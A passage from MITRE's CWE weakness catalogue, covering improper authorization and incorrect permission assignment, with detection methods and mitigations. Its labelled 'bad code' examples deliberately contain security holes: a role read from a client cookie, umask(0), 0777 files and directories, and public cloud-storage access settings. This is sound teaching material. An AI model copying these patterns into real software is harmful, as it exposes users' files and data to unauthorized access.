ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 942 Permissive Cross-domain Policy with Untrusted Domains
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1244 Internal Asset Exposed to Unsafe Debug Access Level or State
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Nature Type ID Name
MemberOf View View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1003 Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 639 Authorization Bypass Through User-Controlled Key
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1011 Authorize Actors
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 284 Improper Access Control
+ Background Details
An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.
Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.

Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Web Server (Often Prevalent)

Database Server (Often Prevalent)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code could be for a medical records application. It displays a record to already authenticated users, confirming the user's authorization using a value stored in a cookie.

(bad code)
Example Language: PHP 
$role = $_COOKIES['role'];
if (!$role) {
$role = getRole('user');
if ($role) {
// save the cookie to send out in future responses
setcookie("role", $role, time()+60*60*2);
}
else{
ShowLoginScreen();
die("\n");
}
}
if ($role == 'Reader') {
DisplayMedicalHistory($_POST['patient_ID']);
}
else{
die("You are not Authorized to view this record\n");
}

The programmer expects that the cookie will only be set when getRole() succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie. However, the attacker can easily set the "role" cookie to the value "Reader". As a result, the $role variable is "Reader", and getRole() is never invoked. The attacker has bypassed the authorization system.


+ Observed Examples
Reference Description
Chain: A microservice integration and management platform compares the hostname in the HTTP Host header in a case-sensitive way (CWE-178, CWE-1289), allowing bypass of the authorization policy (CWE-863) using a hostname with mixed case or other variations.
Chain: sscanf() call is used to check if a username and group exists, but the return value of sscanf() call is not checked (CWE-252), causing an uninitialized variable to be checked (CWE-457), returning success to allow authorization bypass for executing a privileged (CWE-863).
Gateway uses default "Allow" configuration for its authorization settings.
Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges.
Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect.
Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client.
Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access.
ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions.
Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header.
Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied.
Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.
+ Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.

Generally, automated static analysis tools have difficulty detecting custom authorization schemes. Even if they can be customized to recognize these schemes, they might not be able to tell whether the scheme correctly performs the authorization in a way that cannot be bypassed or subverted by an attacker.

Effectiveness: Limited

Automated Dynamic Analysis

Automated dynamic analysis may not be able to find interfaces that are protected by authorization checks, even if those checks contain weaknesses.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

Effectiveness: Moderate

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Host Application Interface Scanner
  • Fuzz Tester
  • Framework-based Fuzzer
  • Forced Path Execution
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 813 OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 817 OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 866 2011 Top 25 - Porous Defenses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1345 OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1425 Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1430 Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Terminology

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
ISA/IEC 62443 Part 4-1 Req SD-4
ISA/IEC 62443 Part 4-2 Req CR 2.1
ISA/IEC 62443 Part 4-2 Req CR 2.2
ISA/IEC 62443 Part 3-3 Req SR 2.1
ISA/IEC 62443 Part 3-3 Req SR 2.2
ISA/IEC 62443 Part 4-1 Req SVV-1
ISA/IEC 62443 Part 4-1 Req SVV-4
ISA/IEC 62443 Part 4-1 Req SD-1
+ References
[REF-229] NIST. "Role Based Access Control and Role Based Security". <https://csrc.nist.gov/projects/role-based-access-control>. URL validated: 2023-04-07.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 4, "Authorization" Page 114; Chapter 6, "Determining Appropriate Access Control" Page 171. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-231] Frank Kim. "Top 25 Series - Rank 5 - Improper Access Control (Authorization)". SANS Software Security Institute. 2010-03-04. <https://www.sans.org/blog/top-25-series-rank-5-improper-access-control-authorization/>. URL validated: 2023-04-07.
[REF-233] Rahul Bhattacharjee. "Authentication using JAAS". <https://javaranch.com/journal/2008/04/authentication-using-JAAS.html>. URL validated: 2023-04-07.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Authorization", Page 39. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission Date Submitter Organization
2011-05-24
(CWE 1.13, 2011-06-01)
CWE Content Team MITRE
+ Contributions
Contribution Date Contributor Organization
2023-11-14
(CWE 4.14, 2024-02-29)
participants in the CWE ICS/OT SIG 62443 Mapping Fall Workshop
Contributed or reviewed taxonomy mappings for ISA/IEC 62443
2024-02-29
(CWE 4.16, 2024-11-19)
Abhi Balakrishnan
Provided diagram to improve CWE usability
+ Modifications
Modification Date Modifier Organization
2011-06-27 CWE Content Team MITRE
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, References, Relationships
2012-05-11 CWE Content Team MITRE
updated References, Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2013-02-21 CWE Content Team MITRE
updated Description
2014-07-30 CWE Content Team MITRE
updated Detection_Factors
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
2018-03-27 CWE Content Team MITRE
updated References
2019-06-20 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-12-10 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated Alternate_Terms
2021-07-20 CWE Content Team MITRE
updated Observed_Examples
2021-10-28 CWE Content Team MITRE
updated Relationships
2022-10-13 CWE Content Team MITRE
updated Observed_Examples
2023-01-31 CWE Content Team MITRE
updated Description, Potential_Mitigations
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Relationships
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content Team MITRE
updated Taxonomy_Mappings
2024-11-19
(CWE 4.16, 2024-11-19)
CWE Content Team MITRE
updated Common_Consequences, Description, Diagram, Relationships, Terminology_Notes

CWE-732: Incorrect Permission Assignment for Critical Resource

Weakness ID: 732
Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.
+ Extended Description
When a resource is given a permission setting that provides access to a wider range of actors than required, it could lead to the exposure of sensitive information, or the modification of that resource by unintended parties. This is especially dangerous when the resource is related to program configuration, execution, or sensitive user data. For example, consider a misconfigured storage account for the cloud that can be read or written by a public or anonymous user.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Confidentiality

Technical Impact: Read Application Data; Read Files or Directories

An attacker may be able to read sensitive information from the associated resource, such as credentials or configuration information stored in a file.
Access Control

Technical Impact: Gain Privileges or Assume Identity

An attacker may be able to modify critical properties of the associated resource to gain privileges, such as replacing a world-writable executable with a Trojan horse.
Integrity
Other

Technical Impact: Modify Application Data; Other

An attacker may be able to destroy or corrupt critical data in the associated resource, such as deletion of records from a database.
+ Potential Mitigations

Phase: Implementation

When using a critical resource such as a configuration file, check to see if the resource has insecure permissions (such as being modifiable by any regular user) [REF-62], and generate an error or even exit the software if there is a possibility that the resource could have been modified by an unauthorized party.

Phase: Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully defining distinct user groups, privileges, and/or roles. Map these against data, functionality, and the related resources. Then set the permissions accordingly. This will allow you to maintain more fine-grained control over your resources. [REF-207]

Effectiveness: Moderate

Note: This can be an effective strategy. However, in practice, it may be difficult or time consuming to define these areas when there are many different resources or user types, or if the applications features change rapidly.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phases: Implementation; Installation

During program startup, explicitly set the default permissions or umask to the most restrictive setting possible. Also set the appropriate permissions during program installation. This will prevent you from inheriting insecure permissions from any user who installs or runs the program.

Effectiveness: High

Phase: System Configuration

For all configuration files, executables, and libraries, make sure that they are only readable and writable by the software's administrator.

Effectiveness: High

Phase: Documentation

Do not suggest insecure configuration changes in documentation, especially if those configurations can extend to resources and other programs that are outside the scope of the application.

Phase: Installation

Do not assume that a system administrator will manually change the configuration to the settings that are recommended in the software's manual.

Phases: Operation; System Configuration

Strategy: Environment Hardening

Ensure that the software runs properly under the United States Government Configuration Baseline (USGCB) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.

Phases: Implementation; System Configuration; Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to disable public access.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 285 Improper Authorization
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 668 Exposure of Resource to Wrong Sphere
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 276 Incorrect Default Permissions
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 277 Insecure Inherited Permissions
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 278 Insecure Preserved Inherited Permissions
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 279 Incorrect Execution-Assigned Permissions
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 281 Improper Preservation of Permissions
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 766 Critical Data Element Declared Public
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 1004 Sensitive Cookie Without 'HttpOnly' Flag
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Nature Type ID Name
MemberOf View View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1003 Weaknesses for Simplified Mapping of Published Vulnerabilities
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 276 Incorrect Default Permissions
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 281 Improper Preservation of Permissions
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1011 Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

The developer might make certain assumptions about the environment in which the product operates - e.g., that the software is running on a single-user system, or the software is only accessible to trusted administrators. When the software is running in a different environment, the permissions become a problem.

Installation The developer may set loose permissions in order to minimize problems when the user first runs the program, then create documentation stating that permissions should be tightened. Since system administrators and users do not always read the documentation, this can result in insecure permissions being left unchanged.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: Cloud Computing (Often Prevalent)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code sets the umask of the process to 0 before creating a file and writing "Hello world" into the file.

(bad code)
Example Language:
#define OUTFILE "hello.out"

umask(0);
FILE *out;
/* Ignore link following (CWE-59) for brevity */

out = fopen(OUTFILE, "w");
if (out) {
fprintf(out, "hello world!\n");
fclose(out);
}

After running this program on a UNIX system, running the "ls -l" command might return the following output:

(result)
 
-rw-rw-rw- 1 username 13 Nov 24 17:58 hello.out

The "rw-rw-rw-" string indicates that the owner, group, and world (all users) can read the file and write to it.


Example 2

This code creates a home directory for a new user, and makes that user the owner of the directory. If the new directory cannot be owned by the user, the directory is deleted.

(bad code)
Example Language: PHP 
function createUserDir($username){
$path = '/home/'.$username;
if(!mkdir($path)){
return false;
}
if(!chown($path,$username)){
rmdir($path);
return false;
}
return true;
}

Because the optional "mode" argument is omitted from the call to mkdir(), the directory is created with the default permissions 0777. Simply setting the new user as the owner of the directory does not explicitly change the permissions of the directory, leaving it with the default. This default allows any user to read and write to the directory, allowing an attack on the user's files. The code also fails to change the owner group of the directory, which may result in access by unexpected groups.

This code may also be vulnerable to Path Traversal (CWE-22) attacks if an attacker supplies a non alphanumeric username.


Example 3

The following code snippet might be used as a monitor to periodically record whether a web site is alive. To ensure that the file can always be modified, the code uses chmod() to make the file world-writable.

(bad code)
Example Language: Perl 
$fileName = "secretFile.out";

if (-e $fileName) {
chmod 0777, $fileName;
}

my $outFH;
if (! open($outFH, ">>$fileName")) {
ExitError("Couldn't append to $fileName: $!");
}
my $dateString = FormatCurrentTime();
my $status = IsHostAlive("cwe.mitre.org");
print $outFH "$dateString cwe status: $status!\n";
close($outFH);

The first time the program runs, it might create a new file that inherits the permissions from its environment. A file listing might look like:

(result)
 
-rw-r--r-- 1 username 13 Nov 24 17:58 secretFile.out

This listing might occur when the user has a default umask of 022, which is a common setting. Depending on the nature of the file, the user might not have intended to make it readable by everyone on the system.

The next time the program runs, however - and all subsequent executions - the chmod will set the file's permissions so that the owner, group, and world (all users) can read the file and write to it:

(result)
 
-rw-rw-rw- 1 username 13 Nov 24 17:58 secretFile.out

Perhaps the programmer tried to do this because a different process uses different permissions that might prevent the file from being updated.


Example 4

This program creates and reads from an admin file to determine privilege information.

If the admin file doesn't exist, the program will create one. In order to create the file, the program must have write privileges to write to the file. After the file is created, the permissions need to be changed to read only.

(bad code)
Example Language: Go 
const adminFile = "/etc/admin-users"
func createAdminFileIfNotExists() error {
file, err := os.Create(adminFile)
if err != nil {
return err
}
return nil
}

func changeModeOfAdminFile() error {
fileMode := os.FileMode(0440)
if err := os.Chmod(adminFile, fileMode); err != nil {
return err
}
return nil
}

os.Create will create a file with 0666 permissions before umask if the specified file does not exist. A typical umask of 0022 would result in the file having 0644 permissions. That is, the file would have world-writable and world-readable permissions.

In this scenario, it is advised to use the more customizable method of os.OpenFile with the os.O_WRONLY and os.O_CREATE flags specifying 0640 permissions to create the admin file.

This is because on a typical system where the umask is 0022, the perm 0640 applied in os.OpenFile will result in a file of 0620 where only the owner and group can write.


Example 5

The following command recursively sets world-readable permissions for a directory and all of its children:

(bad code)
Example Language: Shell 
chmod -R ugo+r DIRNAME

If this command is run from a program, the person calling the program might not expect that all the files under the directory will be world-readable. If the directory is expected to contain private data, this could become a security problem.


Example 6

The following Azure command updates the settings for a storage account:

(bad code)
Example Language: Shell 
az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access true

However, "Allow Blob Public Access" is set to true, meaning that anonymous/public users can access blobs.

The command could be modified to disable "Allow Blob Public Access" by setting it to false.

(good code)
Example Language: Shell 
az storage account update --name <storage-account> --resource-group <resource-group> --allow-blob-public-access false

Example 7

The following Google Cloud Storage command gets the settings for a storage account named 'BUCKET_NAME':

(informative)
Example Language: Shell 
gsutil iam get gs://BUCKET_NAME

Suppose the command returns the following result:

(bad code)
Example Language: JSON 
{
"bindings":[{
"members":[
"projectEditor: PROJECT-ID",
"projectOwner: PROJECT-ID"
],
"role":"roles/storage.legacyBucketOwner"
},
{
"members":[
"allUsers",
"projectViewer: PROJECT-ID"
],
"role":"roles/storage.legacyBucketReader"
}
]
}

This result includes the "allUsers" or IAM role added as members, causing this policy configuration to allow public access to cloud storage resources. There would be a similar concern if "allAuthenticatedUsers" was present.

The command could be modified to remove "allUsers" and/or "allAuthenticatedUsers" as follows:

(good code)
Example Language: Shell 
gsutil iam ch -d allUsers gs://BUCKET_NAME
gsutil iam ch -d allAuthenticatedUsers gs://BUCKET_NAME

+ Observed Examples
Reference Description
Go application for cloud management creates a world-writable sudoers file that allows local attackers to inject sudo rules and escalate privileges to root by winning a race condition.
Anti-virus product sets insecure "Everyone: Full Control" permissions for files under the "Program Files" folder, allowing attackers to replace executables with Trojan horses.
Product creates directories with 0777 permissions at installation, allowing users to gain privileges and access a socket used for authentication.
Photo editor installs a service with an insecure security descriptor, allowing users to stop or start the service, or execute commands as SYSTEM.
socket created with insecure permissions
Library function copies a file to a new target and uses the source file's permissions for the target, which is incorrect when the source file is a symbolic link, which typically has 0777 permissions.
Device driver uses world-writable permissions for a socket file, allowing attackers to inject arbitrary commands.
LDAP server stores a cleartext password in a world-readable file.
Terminal emulator creates TTY devices with world-writable permissions, allowing an attacker to write to the terminals of other users.
VPN product stores user credentials in a registry key with "Everyone: Full Control" permissions, allowing attackers to steal the credentials.
Driver installs its device interface with "Everyone: Write" permissions.
Driver installs a file with world-writable permissions.
Product changes permissions to 0777 before deleting a backup; the permissions stay insecure for subsequent backups.
Product creates a share with "Everyone: Full Control" permissions, allowing arbitrary program execution.
Product uses "Everyone: Full Control" permissions for memory-mapped files (shared memory) in inter-process communication, allowing attackers to tamper with a session.
Database product uses read/write permissions for everyone for its shared memory, allowing theft of credentials.
Security product uses "Everyone: Full Control" permissions for its configuration files.
"Everyone: Full Control" permissions assigned to a mutex allows users to disable network connectivity.
Chain: database product contains buffer overflow that is only reachable through a .ini configuration file - which has "Everyone: Full Control" permissions.
+ Detection Methods

Automated Static Analysis

Automated static analysis may be effective in detecting permission problems for system resources such as files, directories, shared memory, device interfaces, etc. Automated techniques may be able to detect the use of library functions that modify permissions, then analyze function calls for arguments that contain potentially insecure values.

However, since the software's intended security policy might allow loose permissions for certain operations (such as publishing a file on a web server), automated static analysis may produce some false positives - i.e., warnings that do not have any security consequences or require any code changes.

When custom permissions models are used - such as defining who can read messages in a particular forum in a bulletin board system - these can be difficult to detect using automated static analysis. It may be possible to define custom signatures that identify any custom functions that implement the permission checks and assignments.

Automated Dynamic Analysis

Automated dynamic analysis may be effective in detecting permission problems for system resources such as files, directories, shared memory, device interfaces, etc.

However, since the software's intended security policy might allow loose permissions for certain operations (such as publishing a file on a web server), automated dynamic analysis may produce some false positives - i.e., warnings that do not have any security consequences or require any code changes.

When custom permissions models are used - such as defining who can read messages in a particular forum in a bulletin board system - these can be difficult to detect using automated dynamic analysis. It may be possible to define custom signatures that identify any custom functions that implement the permission checks and assignments.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Manual Static Analysis

Manual static analysis may be effective in detecting the use of custom permissions models and functions. The code could then be examined to identifying usage of the related functions. Then the human analyst could evaluate permission assignments in the context of the intended security model of the software.

Manual Dynamic Analysis

Manual dynamic analysis may be effective in detecting the use of custom permissions models and functions. The program could then be executed with a focus on exercising code paths that are related to the custom permissions. Then the human analyst could evaluate permission assignments in the context of the intended security model of the software.

Fuzzing

Fuzzing is not effective in detecting this weakness.

Black Box

